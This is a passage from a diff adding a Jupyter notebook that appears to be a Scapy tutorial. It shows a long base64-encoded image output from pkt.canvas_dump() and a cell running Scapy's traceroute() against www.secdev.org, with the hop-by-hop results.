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\n",
+      "text/plain": [
+       "<pyx.canvas.canvas instance at 0x7f2c2e228bd8>"
+      ]
+     },
+     "execution_count": 15,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "pkt.canvas_dump()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Scapy has a `traceroute()` function, which basically runs a `sr(IP(ttl=(1..30))` and creates a `TracerouteResult` object, which is a specific subclass of `SndRcvList()`."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 22,
+   "metadata": {
+    "scrolled": true
+   },
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "Begin emission:\n",
+      "Finished to send 15 packets.\n",
+      "\n",
+      "Received 17 packets, got 15 answers, remaining 0 packets\n",
+      "   217.25.178.5:tcp80 \n",
+      "1  192.168.46.254  11 \n",
+      "2  172.28.0.1      11 \n",
+      "3  80.10.115.251   11 \n",
+      "4  10.123.205.82   11 \n",
+      "5  193.252.98.161  11 \n",
+      "6  193.252.137.74  11 \n",
+      "7  193.251.132.183 11 \n",
+      "8  130.117.49.41   11 \n",
+      "9  154.25.7.150    11 \n",
+      "10 154.25.7.150    11 \n",
+      "11 149.6.166.166   11 \n",
+      "12 149.6.166.166   11 \n",
+      "13 217.25.178.5    SA \n",
+      "14 217.25.178.5    SA \n",
+      "15 217.25.178.5    SA \n"
+     ]
+    }
+   ],
+   "source": [
+    "ans, unans = traceroute('www.secdev.org', maxttl=15)"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
